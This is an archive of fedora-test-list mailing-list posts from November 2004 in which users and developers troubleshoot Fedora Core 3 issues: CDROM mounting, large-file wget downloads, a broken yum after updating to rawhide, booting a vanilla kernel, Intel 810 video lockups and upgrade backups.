argument I still don't like these settings. I think that unmaskirq should be 1(on). I also think IO_support could be 32 bit. BTW: my CDROM won't mount in file manager either. I does mount with k3b, grip, KsCD. -- Kim Lux (Mr.) Diesel Research Inc From carl.gherardi at nautronix.com.au Wed Nov 10 10:06:55 2004 From: carl.gherardi at nautronix.com.au (Carl Gherardi) Date: Wed, 10 Nov 2004 18:06:55 +0800 Subject: Modifying installer kernel Message-ID: <1100081215.3185.109.camel@coeus> Hey all, I came across the situation where I need to install Redhat 9 on a machine with an scsi controller that didn't exist when Redhat 9 was released. I figure I need to replace the kernel and modules to get this to work. (The manufacturer doesn't support that version of linux either) In a more general terms I can see admins etc needing to add network/scsi drivers to an install so they can use an nfs/http/ftp install with brand new hardware that wasn't supported with the release of Fedora X. If the machine doesn't have a floppy disk, how would this be achieved? I'm chasing documentation on how to replace the installer kernel in an anaconda installation. Thanks Carl Gherardi PS: If anyone happens to have the cciss driver that includes support for Smart Array 6i under kernel 2.4.20-8BOOT that would be nice. PPS: I've managed to replace the Redhat 9 initrd.img with a modified Redhat 8 version that supports the driver. Is there a way to make anaconda ignore the mismatch between the initrd image and stage2.img ? Apologies for the following -- -- This email is confidential and intended solely for the use of the individual to whom it is addressed. Any views or opinions presented are solely those of the author and do not necessarily represent those of NAUTRONIX LTD. If you are not the intended recipient, you have received this email in error and use, dissemination, forwarding, printing, or copying of this email is strictly prohibited. If you have received this email in error please contact the sender. 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From Robert.Chiodini-1 at ksc.nasa.gov Wed Nov 10 11:20:55 2004 From: Robert.Chiodini-1 at ksc.nasa.gov (Chiodini, Robert) Date: Wed, 10 Nov 2004 06:20:55 -0500 Subject: Problem with DVD iso for Core 3 Message-ID: <1100085655.29884.11.camel@tweedy.ksc.nasa.gov> On Tue, 2004-11-09 at 13:46, Drosos Kourounis wrote: > Hi all! > I just downloaded twice from different mirrors the FEDORA Core 3 > DVD iso image and I noticed that there is a problem with that thing! > > I begin installation I press Ok to the questions about "us" and the other > one, but when I am asked which type of installation do I prefer > CDROM, FTP, HTTP, NFS ... I choose of course CDROM. > > Then it says that the FEDORA software CDROM is not inserted in the CDROM > drive! I tried that in many different PCs and I get the same > problem so it is not a problem with my PC. > > Did any one of you have the same problem! > > please let the people who are responsible for the distribution > to fix that! > > Regards! > Drosos. Drosos, I downloaded the DVD ISO as well (Bittorrent) burned it to a DVD+R/W and had no problems. I do not think you should see a message about the source of the installation. I have only seen that prompt when using one of the boot images. Did you run the media check? It should have been prompted for early on. Bob... -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From alan at redhat.com Wed Nov 10 11:30:24 2004 From: alan at redhat.com (Alan Cox) Date: Wed, 10 Nov 2004 06:30:24 -0500 Subject: CDROM problems in fc3 (was Re: What I hope is not in FC3 In-Reply-To: <1100067730.3938.3.camel@localhost.localdomain> References: <418D9766.1030204@insight.rr.com> <20041107023938.GB12856@devserv.devel.redhat.com> <1099988634l.3536l.2l@devel.mpeters.us> <20041109102622.GH11935@devserv.devel.redhat.com> <41911CDF.2060907@ku.edu> <20041109225359.GA1358@devserv.devel.redhat.com> <4191A231.7070004@ku.edu> <1100067296.3805.2.camel@localhost.localdomain> <1100067730.3938.3.camel@localhost.localdomain> Message-ID: <20041110113024.GH20971@devserv.devel.redhat.com> On Tue, Nov 09, 2004 at 11:22:10PM -0700, Kim Lux wrote: > When I shut down, I get intermittent "hdc lost interrupt" messages. Provide the actual piece of the log please. > Here is hdparm for my CDROM: This is irrelevant > I still don't like these settings. > I think that unmaskirq should be 1(on). I also think IO_support could > be 32 bit. This is irrelevant > BTW: my CDROM won't mount in file manager either. I does mount with > k3b, grip, KsCD. the other apps are not mounting it as a file system however are they ? What is on the CD at the time it wont mount ? From janina at rednote.net Wed Nov 10 12:30:35 2004 From: janina at rednote.net (Janina Sajka) Date: Wed, 10 Nov 2004 07:30:35 -0500 Subject: mkisofs command for FC3 In-Reply-To: References: Message-ID: <20041110123035.GB9172@rednote.net> Maciej ?enczykowski writes: > So can anyone answer this? > > > Could someone post the command used to generate the FC3 i386 isos - > > especially the DVD? > Yes, please. I'm seconding the request. Seems we got off on a tangent, worthy though the tangent may have been. > Thanks, > MaZe. > > -- > fedora-test-list mailing list > fedora-test-list at redhat.com > To unsubscribe: > http://www.redhat.com/mailman/listinfo/fedora-test-list -- Janina Sajka, Chair Accessibility Workgroup Free Standards Group (FSG) janina at freestandards.org Phone: +1 202.494.7040 From drkludge at cox.net Wed Nov 10 13:07:08 2004 From: drkludge at cox.net (Greg Morgan) Date: Wed, 10 Nov 2004 06:07:08 -0700 Subject: wget problem or me Message-ID: <4192127C.8000809@cox.net> I saw the announcement of wget Karsten Hopp on the Announcement list. ..."This new release of wget adds support for large files >2Gb, p.e. DVD ISOs."... I was trying to ftp the DVD ISO file. The ftp transfer was hung. It may have been killed by the ftp server. I had to kill the ftp transfer. I downloaded the wget rpm and used rpm -Fvh to install it on FC2. wget -V reports wget -V GNU Wget 1.9+cvs-stable (Red Hat modified) .... I used wget -c ftp://mirrors.kernel.org/fedora/core/3/i386/iso/FC3-i386-DVD.iso last night before going to bed. I woke up to 87% [+++++++++++++++++++++========> ] 2,147,476,904 12.92K/s ETA 4:08:22File size limit exceeded The complete trace of the session follows. I am leaving for work. Please let me know if I need to buzilla this because it is not pilot error. Thanks, Greg Morgan ftp> get FC3-i386-DVD.iso local: FC3-i386-DVD.iso remote: FC3-i386-DVD.iso 227 Entering Passive Mode (204,152,189,120,207,41) 150 Opening BINARY mode data connection for FC3-i386-DVD.iso (2466410496 bytes).mget FC3-i386-SRPMS-disc?.iso receive aborted waiting for remote to finish abort 421 Service not available, remote server has closed connection 421 Service not available, remote server has closed connection 1499642704 bytes received in 8.7e+04 seconds (17 Kbytes/s) ftp> quit You have new mail in /var/spool/mail/drkludge [drkludge at baloo fedoracore3]$ wget -c ftp://mirrors.kernel.org/fedora/core/3/i386/iso/FC3-i386-DVD.iso ftp://mirrors.kernel.org/fedora/core/3/i386/iso/FC3-i386-SRPMS-disc?.iso --19:04:22-- ftp://mirrors.kernel.org/fedora/core/3/i386/iso/FC3-i386-DVD.iso => `FC3-i386-DVD.iso' Resolving mirrors.kernel.org... done. Connecting to mirrors.kernel.org[204.152.189.120]:21... connected. Logging in as anonymous ... Logged in! ==> SYST ... done. ==> PWD ... done. ==> TYPE I ... done. ==> CWD /fedora/core/3/i386/iso ... done. ==> SIZE FC3-i386-DVD.iso ... done. ==> PORT ... done. ==> REST 1499642704 ... done. ==> RETR FC3-i386-DVD.iso ... done. Length: -1,828,556,800 [966,767,792 to go] (unauthoritative) 100%[==================================>] 1,500,765,504 8.87K/s ETA 00:00 [drkludge at baloo fedoracore3]$ logout Connection to baloo closed. Note rpm -Fvh was performed in another session. [drkludge at kids fedoracore3]$ wget -c ftp://mirrors.kernel.org/fedora/core/3/i386/iso/FC3-i386-DVD.iso ftp://mirrors.kernel.org/fedora/core/3/i386/iso/FC3-i386-SRPMS-disc?.iso --19:07:08-- ftp://mirrors.kernel.org/fedora/core/3/i386/iso/FC3-i386-DVD.iso => `FC3-i386-DVD.iso' Resolving mirrors.kernel.org... 204.152.189.120 Connecting to mirrors.kernel.org[204.152.189.120]:21... connected. Logging in as anonymous ... Logged in! ==> SYST ... done. ==> PWD ... done. ==> TYPE I ... done. ==> CWD /fedora/core/3/i386/iso ... done. ==> SIZE FC3-i386-DVD.iso ... done. ==> PASV ... done. ==> REST 1,500,766,208 ... done. ==> RETR FC3-i386-DVD.iso ... done. Length: 2,466,410,496 [965,644,288 to go] 87% [+++++++++++++++++++++========> ] 2,147,476,904 12.92K/s ETA 4:08:22File size limit exceeded [drkludge at kids fedoracore3]$ wget -V GNU Wget 1.9+cvs-stable (Red Hat modified) Copyright (C) 2003 Free Software Foundation, Inc. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. Originally written by Hrvoje Niksic . From kmaraas at broadpark.no Wed Nov 10 12:35:33 2004 From: kmaraas at broadpark.no (Kjartan Maraas) Date: Wed, 10 Nov 2004 13:35:33 +0100 Subject: gtkam missing In-Reply-To: <1100081370.25905.2.camel@datacc> References: <1100081370.25905.2.camel@datacc> Message-ID: <1100090133.3546.5.camel@home.gnome.no> ons, 10,.11.2004 kl. 10.09 +0000, skrev mike: > Is there a reason why gtkam is missing from FC3 > > Is there a replacement? > Yes, gthumb replaces gtkam. It uses the same library to access the cameras and in addition has a UI based on GTK+-2.x Cheers Kjartan From jon.nettleton at gmail.com Wed Nov 10 13:48:02 2004 From: jon.nettleton at gmail.com (Jon Nettleton) Date: Wed, 10 Nov 2004 08:48:02 -0500 Subject: Getting SPRING Multi-Card media reader working under Fedora In-Reply-To: <41919B17.2080503@rogers.com> References: <41919B17.2080503@rogers.com> Message-ID: All you need to do is add max_scsi_luns=8 to the end of your kernel line in /etc/grub.conf. The number should be the number of slots you have on the device http://fedoranews.org/krishnan/tips/tip044.shtml -Jon On Tue, 09 Nov 2004 23:37:43 -0500, Dwaine Garden wrote: > I have a six-in-one media reader. The first slot works fine in > Fedora. I did read that some devices need probing of the scsi lun's. > There was some information that needed to be provided to get the fedora > team to make the necessary changes, so the device could work without > enabling probing of LUN's in the kernel. > > I have the Spring-Rev1.1 Multi 6-in-one media reader. I would like to > get the device to work with different storage media. Could someone > let me know what information is required. I then get the information > and open up a bugzilla report on it. > > Dwaine. > > -- > fedora-test-list mailing list > fedora-test-list at redhat.com > To unsubscribe: > http://www.redhat.com/mailman/listinfo/fedora-test-list > From ralph+fedora at strg-alt-entf.org Wed Nov 10 13:49:07 2004 From: ralph+fedora at strg-alt-entf.org (Ralph Angenendt) Date: Wed, 10 Nov 2004 14:49:07 +0100 Subject: gtkam missing In-Reply-To: <1100090133.3546.5.camel@home.gnome.no> References: <1100081370.25905.2.camel@datacc> <1100090133.3546.5.camel@home.gnome.no> Message-ID: <20041110134907.GD3017@br-online.de> Kjartan Maraas wrote: > ons, 10,.11.2004 kl. 10.09 +0000, skrev mike: > > Is there a reason why gtkam is missing from FC3 > > > > Is there a replacement? > > > Yes, gthumb replaces gtkam. It uses the same library to access the > cameras and in addition has a UI based on GTK+-2.x Errrm. Last time I looked at gtkam, it made a very good job of faking a GTK+-2-based UI. But gthumb seems to make a better job in all other areas :) Ralph -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: not available URL: From temlakos at comcast.net Wed Nov 10 13:58:02 2004 From: temlakos at comcast.net (Temlakos) Date: Wed, 10 Nov 2004 08:58:02 -0500 Subject: gtkam missing In-Reply-To: <1100090133.3546.5.camel@home.gnome.no> References: <1100081370.25905.2.camel@datacc> <1100090133.3546.5.camel@home.gnome.no> Message-ID: <1100095082.2393.6.camel@localhost.localdomain> On Wed, 2004-11-10 at 07:35, Kjartan Maraas wrote: > ons, 10,.11.2004 kl. 10.09 +0000, skrev mike: > > Is there a reason why gtkam is missing from FC3 > > > > Is there a replacement? > > > Yes, gthumb replaces gtkam. It uses the same library to access the > cameras and in addition has a UI based on GTK+-2.x > > Cheers > Kjartan I see! Or, I think I see. Now why didn't the release notes specifically *say* that gthumb performs all the functions of the old gtkam? (Does gthumb have a plug-in for gimp?) Which goes to the serious, and so far not-addressed, issue of documentation. *Where are the documents* showing quite clearly all the functions of the packages that distribute with Fedora? How are we supposed to know that a retained package subsumes the functions of another if nobody tells us? Think of how many people, not readers of any of these lists, went out and grabbed gtkam after installing FC3 or one of its RC's and *didn't have to*! (That might not seem important at first, but think of the conflicts you set up if you run two apps at once that each address the same device...!) And when will *apt* distribute with Fedora? The best package manager ever invented, the best solution to the RPM dependency problem I've ever seen, works like a charm with Fedora, and it's not in the core distro? Something's wrong here. From robn at verdi.et.tudelft.nl Wed Nov 10 14:07:03 2004 From: robn at verdi.et.tudelft.nl (Rob van Nieuwkerk) Date: Wed, 10 Nov 2004 15:07:03 +0100 Subject: wget problem or me In-Reply-To: <4192127C.8000809@cox.net> References: <4192127C.8000809@cox.net> Message-ID: <20041110150703.4668967a.robn@verdi.et.tudelft.nl> On Wed, 10 Nov 2004 06:07:08 -0700 Greg Morgan wrote: > I saw the announcement of wget Karsten Hopp on the Announcement list. > ..."This new release of wget adds support for large files >2Gb, p.e. DVD > ISOs."... I was trying to ftp the DVD ISO file. The ftp transfer was > hung. It may have been killed by the ftp server. I had to kill the ftp > transfer. I downloaded the wget rpm and used rpm -Fvh to install it on > FC2. wget -V reports > wget -V > GNU Wget 1.9+cvs-stable (Red Hat modified) > .... > I used wget -c > ftp://mirrors.kernel.org/fedora/core/3/i386/iso/FC3-i386-DVD.iso last > night before going to bed. I woke up to > 87% [+++++++++++++++++++++========> ] 2,147,476,904 12.92K/s ETA > 4:08:22File size limit exceeded > The complete trace of the session follows. I am leaving for work. > Please let me know if I need to buzilla this because it is not pilot error. Hi Greg, Please wait with bugzilla: I suspect it is a problem on your side. Can you please give the output of the following commands: 1. "rpm -q fedora-release" 2. "uname -a" 3. "rpm -qi wget" 4. "df ." (in the working dir) 5. "mount" 6. "ls -la" (in the working dir) greetings, Rob van Nieuwkerk From jspaleta at gmail.com Wed Nov 10 14:17:40 2004 From: jspaleta at gmail.com (Jeff Spaleta) Date: Wed, 10 Nov 2004 09:17:40 -0500 Subject: gtkam missing In-Reply-To: <1100095082.2393.6.camel@localhost.localdomain> References: <1100081370.25905.2.camel@datacc> <1100090133.3546.5.camel@home.gnome.no> <1100095082.2393.6.camel@localhost.localdomain> Message-ID: <604aa7910411100617340e2af@mail.gmail.com> On Wed, 10 Nov 2004 08:58:02 -0500, Temlakos wrote: > I see! Or, I think I see. Now why didn't the release notes specifically > *say* that gthumb performs all the functions of the old gtkam? (Does > gthumb have a plug-in for gimp?) You will never see a software replacement provide all the functions of another piece of software. But there is sort of a valid point being made here. I don't necessarily agree that the level of release note detailed implied in this statement needs to be considered. But I do think it would be wise to include a brief statement of reason why each removed package is removed and a reference to the new application the user should be looking at to evaluate as a replacement if appropriate. The deprecated package list in the release notes does exactly what I'm talking about, the lilo entry in the deprecated list has the level of detail i think should be provided in the remove list. a very terse explanation and a reference to grub as the functional equivalent. Without getting into the politics and technical reasons for the decision to drop gtkam, if gthumb is the recommended replacement for the bulk of the functionality of gtkam, the release notes should make a terse reference for users who will notice it missing. -jef From backes at rhrk.uni-kl.de Wed Nov 10 14:52:54 2004 From: backes at rhrk.uni-kl.de (Joachim Backes) Date: Wed, 10 Nov 2004 15:52:54 +0100 Subject: FC3 does not boot with an own vanilla kernel Message-ID: <1100098374.4490.13.camel@sunny.rhrk.uni-kl.de> Hi, I made an update from FC2 to FC3, and now, my machine will no more boot: The boot stops when executing the init scripts: having problems with the /dev directory (cannot open /dev//null and/or /dev//console). I'm not using the FC3 kernel, but the vanilla kernel 2.6.9. When using the FC3 kernel, all is OK. I think, it has to do with udev (in my vanilla kernel, hotplug is configered correctly!). Regards Joachim Backes -- Joachim Backes University of Kaiserslautern,Computer Center, High Performance Computing, D-67653 Kaiserslautern, PO Box 3049, Germany -------------------------------------------------- Phone: +49-631-205-2438, FAX: +49-631-205-3056 http://hlrwm.rhrk.uni-kl.de/home/staff/backes.html From arjanv at redhat.com Wed Nov 10 14:55:40 2004 From: arjanv at redhat.com (Arjan van de Ven) Date: Wed, 10 Nov 2004 15:55:40 +0100 Subject: FC3 does not boot with an own vanilla kernel In-Reply-To: <1100098374.4490.13.camel@sunny.rhrk.uni-kl.de> References: <1100098374.4490.13.camel@sunny.rhrk.uni-kl.de> Message-ID: <1100098540.4084.18.camel@laptop.fenrus.org> On Wed, 2004-11-10 at 15:52 +0100, Joachim Backes wrote: > Hi, > > I made an update from FC2 to FC3, and now, my machine will no more boot: > The boot stops when executing the init scripts: > having problems with the /dev directory (cannot open /dev//null and/or > /dev//console). I'm not using the FC3 kernel, but the vanilla kernel > 2.6.9. When using the FC3 kernel, all is OK. I think, it has > to do with udev (in my vanilla kernel, hotplug is configered > correctly!). did you also make an initrd? (if you used "make install" in the kernel tree one should have been created for you automatically, as well as it being added to grub automatically) -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From kyrre at solution-forge.net Wed Nov 10 15:12:40 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Wed, 10 Nov 2004 16:12:40 +0100 Subject: Preparing to upgrade - some questions In-Reply-To: <419119CB.6060809@carlparrish.com> References: <41910759.3060506@broadpark.no> <419119CB.6060809@carlparrish.com> Message-ID: <1100099560.2682.5.camel@kyrre> ... And i am pondering about what the ... to do with all the data. Its not like its "easy" to put about 40 GB of data into offline storage with only a cd-burner... Bah... Install other machines first, NFS dump to them, check what i already have offline, and then kill some data. tir, 09.11.2004 kl. 20.26 skrev Carl Parrish: > Truls Gulbrandsen wrote: > > > -----BEGIN PGP SIGNED MESSAGE----- > > Hash: SHA1 > > > > Hi, > > I am preparing to upgrade from fc2 to fc3 and have made a backup of my > > /home directory. > > > > Are there other directories or files that should be copied before I > > upgrade? > > > > Will the upgrade option give me a complete installation or will it only > > upgrade files and modules already installed? > > > > If I do a complete new installation will it be sufficient to install > > additional programs such as gramps, thunderbird and firefox and then > > copy the content of /home back to the hd to make it all work with data, > > bookmarks and stored mail? > > > > Any thing else I should be aware of in order to restore my pc with fc3 > > without too much trouble? > > > > > > Thanks, > > Truls Gulbrandsen > > -----BEGIN PGP SIGNATURE----- > > Version: GnuPG v1.2.4 (GNU/Linux) > > Comment: Using GnuPG with Thunderbird - http://enigmail.mozdev.org > > > > iD8DBQFBkQdZickK29LSyG8RAiWqAKCFPVgegnMa5FQSnpbmGInUEB5pMgCglCnK > > WvIuQ/fW8Y4RKJh+roeNtmY= > > =30pZ > > -----END PGP SIGNATURE----- > > I generally backup /home/, /etc/, /var/, /usr/local/, and /boot/ that > way worst case I can always get right back to what I had. Of course if > the new install works I don't recovers every partition. > > -- > Carl Parrish(cparrish at carlparrish.com) > http://www.carlparrish.com > -- > Registered Linux User #295761 http://counter.li.org From rshewan at lio.aacisd.com Wed Nov 10 14:39:58 2004 From: rshewan at lio.aacisd.com (Rob Shewan) Date: Wed, 10 Nov 2004 09:39:58 -0500 Subject: yum problems Message-ID: <4192283E.4010209@lio.aacisd.com> How do I get out of this? I can't do a clean or anything else that might be useful. [root at aacnyelrsh x]# yum update Traceback (most recent call last): File "/usr/bin/yum", line 8, in ? yummain.main(sys.argv[1:]) File "/usr/share/yum-cli/yummain.py", line 51, in main base.getOptionsConfig(args) File "/usr/share/yum-cli/cli.py", line 133, in getOptionsConfig self.conf = yumconf(configfile = yumconffile, root=root) File "/usr/lib/python2.4/site-packages/yum/config.py", line 211, in __init__ doRepoSection(self, self.cfg, section) File "/usr/lib/python2.4/site-packages/yum/config.py", line 313, in doRepoSection mirrorurls = getMirrorList(mirrorlist) File "/usr/lib/python2.4/site-packages/yum/config.py", line 390, in getMirrorList fo = urlresolver.urlopen(url) File "/usr/lib/python2.4/site-packages/urlgrabber/grabber.py", line 427, in urlopen return default_grabber.urlopen(url, **kwargs) File "/usr/lib/python2.4/site-packages/urlgrabber/grabber.py", line 555, in urlopen return self._retry(opts, retryfunc, url) File "/usr/lib/python2.4/site-packages/urlgrabber/grabber.py", line 527, in _retry return apply(func, (opts,) + args, {}) File "/usr/lib/python2.4/site-packages/urlgrabber/grabber.py", line 554, in retryfunc return URLGrabberFileObject(url, filename=None, opts=opts) File "/usr/lib/python2.4/site-packages/urlgrabber/grabber.py", line 703, in __init__ self._do_open() File "/usr/lib/python2.4/site-packages/urlgrabber/grabber.py", line 747, in _do_open fo, hdr = self._make_request(req, opener) File "/usr/lib/python2.4/site-packages/urlgrabber/grabber.py", line 823, in _make_request fo = opener.open(req) File "/usr/lib/python2.4/urllib2.py", line 364, in open response = meth(req, response) File "/usr/lib/python2.4/urllib2.py", line 468, in http_response code, msg, hdrs = response.code, response.msg, response.info() AttributeError: HTTPResponse instance has no attribute 'code' [root at aacnyelrsh x]# rpm -q yum yum-2.1.11-4 [root at aacnyelrsh x]# uname -a Linux aacnyelrsh.aacisd.com 2.6.9-1.667 #1 Tue Nov 2 14:41:25 EST 2004 i686 i686 i386 GNU/Linux [root at aacnyelrsh rshewan]# rpm -q fedora-release fedora-release-2.92-1 From skvidal at phy.duke.edu Wed Nov 10 15:16:57 2004 From: skvidal at phy.duke.edu (seth vidal) Date: Wed, 10 Nov 2004 10:16:57 -0500 Subject: yum problems In-Reply-To: <4192283E.4010209@lio.aacisd.com> References: <4192283E.4010209@lio.aacisd.com> Message-ID: <1100099817.12368.22.camel@opus.phy.duke.edu> On Wed, 2004-11-10 at 09:39, Rob Shewan wrote: > How do I get out of this? I can't do a clean or anything else that might > be useful. > > [root at aacnyelrsh x]# yum update > Traceback (most recent call last): > File "/usr/bin/yum", line 8, in ? > yummain.main(sys.argv[1:]) > File "/usr/share/yum-cli/yummain.py", line 51, in main > base.getOptionsConfig(args) > File "/usr/share/yum-cli/cli.py", line 133, in getOptionsConfig > self.conf = yumconf(configfile = yumconffile, root=root) > File "/usr/lib/python2.4/site-packages/yum/config.py", line 211, in > __init__ > doRepoSection(self, self.cfg, section) > File "/usr/lib/python2.4/site-packages/yum/config.py", line 313, in > doRepoSection > mirrorurls = getMirrorList(mirrorlist) > File "/usr/lib/python2.4/site-packages/yum/config.py", line 390, in > getMirrorList > fo = urlresolver.urlopen(url) > File "/usr/lib/python2.4/site-packages/urlgrabber/grabber.py", line > 427, in urlopen > return default_grabber.urlopen(url, **kwargs) > File "/usr/lib/python2.4/site-packages/urlgrabber/grabber.py", line > 555, in urlopen > return self._retry(opts, retryfunc, url) > File "/usr/lib/python2.4/site-packages/urlgrabber/grabber.py", line > 527, in _retry > return apply(func, (opts,) + args, {}) > File "/usr/lib/python2.4/site-packages/urlgrabber/grabber.py", line > 554, in retryfunc > return URLGrabberFileObject(url, filename=None, opts=opts) > File "/usr/lib/python2.4/site-packages/urlgrabber/grabber.py", line > 703, in __init__ > self._do_open() > File "/usr/lib/python2.4/site-packages/urlgrabber/grabber.py", line > 747, in _do_open > fo, hdr = self._make_request(req, opener) > File "/usr/lib/python2.4/site-packages/urlgrabber/grabber.py", line > 823, in _make_request > fo = opener.open(req) > File "/usr/lib/python2.4/urllib2.py", line 364, in open > response = meth(req, response) > File "/usr/lib/python2.4/urllib2.py", line 468, in http_response > code, msg, hdrs = response.code, response.msg, response.info() > AttributeError: HTTPResponse instance has no attribute 'code' > [root at aacnyelrsh x]# rpm -q yum > yum-2.1.11-4 > [root at aacnyelrsh x]# uname -a > Linux aacnyelrsh.aacisd.com 2.6.9-1.667 #1 Tue Nov 2 14:41:25 EST 2004 > i686 i686 i386 GNU/Linux > [root at aacnyelrsh rshewan]# rpm -q fedora-release > fedora-release-2.92-1 Stop using rawhide. -sv From rshewan at lio.aacisd.com Wed Nov 10 15:27:14 2004 From: rshewan at lio.aacisd.com (Rob Shewan) Date: Wed, 10 Nov 2004 10:27:14 -0500 Subject: yum problems In-Reply-To: <1100099817.12368.22.camel@opus.phy.duke.edu> References: <1100099817.12368.22.camel@opus.phy.duke.edu> Message-ID: <41923352.20207@lio.aacisd.com> Yes, I agree that I made a mistake by doing a mass update beyond the release. It might have been nice if there had been an announcement/reminder for people like me that might not remain "tuned in" to the changes that occur to the releases. What happened to the fedora-annouce list? Is there a way to back out what I have done short of reloading from scratch? I have looked yum (no much good in its current state) and rpm. I don't want to do more damage than I have done. seth vidal wrote: > > > Stop using rawhide. > > -sv > > > -- > fedora-test-list mailing list > fedora-test-list at redhat.com > To unsubscribe: > http://www.redhat.com/mailman/listinfo/fedora-test-list > From skvidal at phy.duke.edu Wed Nov 10 15:39:34 2004 From: skvidal at phy.duke.edu (seth vidal) Date: Wed, 10 Nov 2004 10:39:34 -0500 Subject: yum problems In-Reply-To: <41923352.20207@lio.aacisd.com> References: <1100099817.12368.22.camel@opus.phy.duke.edu> <41923352.20207@lio.aacisd.com> Message-ID: <1100101174.12368.37.camel@opus.phy.duke.edu> On Wed, 2004-11-10 at 10:27, Rob Shewan wrote: > Yes, I agree that I made a mistake by doing a mass update beyond the > release. > > It might have been nice if there had been an announcement/reminder for > people like me that might not remain "tuned in" to the changes that > occur to the releases. What happened to the fedora-annouce list? > There was a notice. FC3 was released. Surely everyone noticed that. > Is there a way to back out what I have done short of reloading from > scratch? I have looked yum (no much good in its current state) and rpm. > I don't want to do more damage than I have done. revert the version of python to 2.3 and all the deps that follow with that. it's probably easier to reinstall. -sv From fedora at nodata.co.uk Wed Nov 10 15:52:31 2004 From: fedora at nodata.co.uk (nodata) Date: Wed, 10 Nov 2004 16:52:31 +0100 (CET) Subject: yum problems In-Reply-To: <1100101174.12368.37.camel@opus.phy.duke.edu> References: <1100099817.12368.22.camel@opus.phy.duke.edu> <41923352.20207@lio.aacisd.com> <1100101174.12368.37.camel@opus.phy.duke.edu> Message-ID: <64704.213.164.3.90.1100101951.squirrel@213.164.3.90> > There was a notice. FC3 was released. Surely everyone noticed that. Yes, there was a notice about FC3 being released. I think the poster was more concerned about the volunteers who have spent their time testing the FC3-test series and would now like to stop testing and stay on FC3 final, at least for a while. I don't remember any post on the fedora website for instructions on how to do that, nor on this list. From fedora at gxconcepts.com Wed Nov 10 14:58:53 2004 From: fedora at gxconcepts.com (fedora at gxconcepts.com) Date: Wed, 10 Nov 2004 08:58:53 -0600 Subject: Intel 810 Video Issues & Lockups Message-ID: <1100098733.41922cad76ccf@webmail.gxconcepts.com> I installed Fedora Core 3, but seem to be having lots of issues with video display and lockups. I'm currently using a Dell Inspiron 2500 laptop, which has the Intel 810 video chipset. I first installed FC3 with SELinux Active and then installed a second istalled a second time with SELinux Disabled. I am working with a fresh install on both cases. I'm unable to track down the source of the problem, has anyone seen this? Brandon Petersen http://www.getfirefox.com/ ---------------------------------------------------------------- This message was sent using IMP, the Internet Messaging Program. From shahms at shahms.com Wed Nov 10 16:03:42 2004 From: shahms at shahms.com (Shahms King) Date: Wed, 10 Nov 2004 08:03:42 -0800 Subject: Intel 810 Video Issues & Lockups In-Reply-To: <1100098733.41922cad76ccf@webmail.gxconcepts.com> References: <1100098733.41922cad76ccf@webmail.gxconcepts.com> Message-ID: <1100102622.28290.110.camel@shahms.mesd.k12.or.us> On Wed, 2004-11-10 at 08:58 -0600, fedora at gxconcepts.com wrote: > I installed Fedora Core 3, but seem to be having lots of issues with video > display and lockups. I'm currently using a Dell Inspiron 2500 laptop, which > has the Intel 810 video chipset. > > I first installed FC3 with SELinux Active and then installed a second istalled a > second time with SELinux Disabled. I am working with a fresh install on both > cases. > > I'm unable to track down the source of the problem, has anyone seen this? > > Brandon Petersen > http://www.getfirefox.com/ > > ---------------------------------------------------------------- > This message was sent using IMP, the Internet Messaging Program. https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=132267 Yup, it's in bugzilla with workarounds, but no solution yet. -- Shahms E. King Multnomah ESD Public Key: http://shahms.mesd.k12.or.us/~sking/shahms.asc Fingerprint: 1612 054B CE92 8770 F1EA AB1B FEAB 3636 45B2 D75B -------------- next part -------------- A non-text attachment was scrubbed... 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You can match this by getting Linux kernel 2.4.8 or higher. How can I solve that ? thanks, Paulo From jspaleta at gmail.com Wed Nov 10 16:40:40 2004 From: jspaleta at gmail.com (Jeff Spaleta) Date: Wed, 10 Nov 2004 11:40:40 -0500 Subject: yum problems In-Reply-To: <64704.213.164.3.90.1100101951.squirrel@213.164.3.90> References: <1100099817.12368.22.camel@opus.phy.duke.edu> <41923352.20207@lio.aacisd.com> <1100101174.12368.37.camel@opus.phy.duke.edu> <64704.213.164.3.90.1100101951.squirrel@213.164.3.90> Message-ID: <604aa791041110084039501d45@mail.gmail.com> On Wed, 10 Nov 2004 16:52:31 +0100 (CET), nodata wrote: > I think the poster was more concerned about the volunteers who have spent > their time testing the FC3-test series and would now like to stop testing > and stay on FC3 final, at least for a while. The public schedule exists... development freeze for fc3 was listed. Are you saying that people need more than a schedule of development tree milestones? -jef"time to implement color coded rawhide alert status... and to keep that status pegged at red"spaleta From trulsg at broadpark.no Wed Nov 10 16:53:29 2004 From: trulsg at broadpark.no (Truls Gulbrandsen) Date: Wed, 10 Nov 2004 17:53:29 +0100 Subject: FC3 - wrong screen resolution In-Reply-To: <4191763E.3010604@insight.rr.com> References: <41912D99.7040809@broadpark.no> <4191763E.3010604@insight.rr.com> Message-ID: <41924789.8050401@broadpark.no> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Jim Cornette wrote: | Truls Gulbrandsen wrote: | |> -----BEGIN PGP SIGNED MESSAGE----- |> Hash: SHA1 |> |> Hi, |> I have now installed fc3 to my desktop an IBM PC300PL with an IBM912 |> T521 LCD screen the video card is VESA |> |> ...snip | | | I looked up the specs for your desktop. The video info is below. The | vesa driver is sort of a generic driver. Is the S3 Trio listed? | | Have you tried to add the desired resolution into your xorg.conf file? | Say "1024x768" "800x600" in front of the "640x480" entry? | | Jim | | Monitor and Graphics | Video Integration Integrated | Installed Video Memory 4 MB | Included Video Card Graphic card - AGP - S3 Trio3D integrated | | |> |> Regards, |> Truls | | Thanks for feedback. Yes the correct video card is Trio 64 3D and it is listed. So I went system settings ==> display and set the correct video card. Then I got an error message saying that the system would log out of X and correct an error. It never came back. So I rebooted but now the boot sequence goes to: Starting udev: (ok) Initializing hardware..... storage network audio done (ok) Configuring kernel parameters: and there it hangs unresponsive. Probably I have to start the install process over again? Regards, Truls -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (GNU/Linux) Comment: Using GnuPG with Thunderbird - 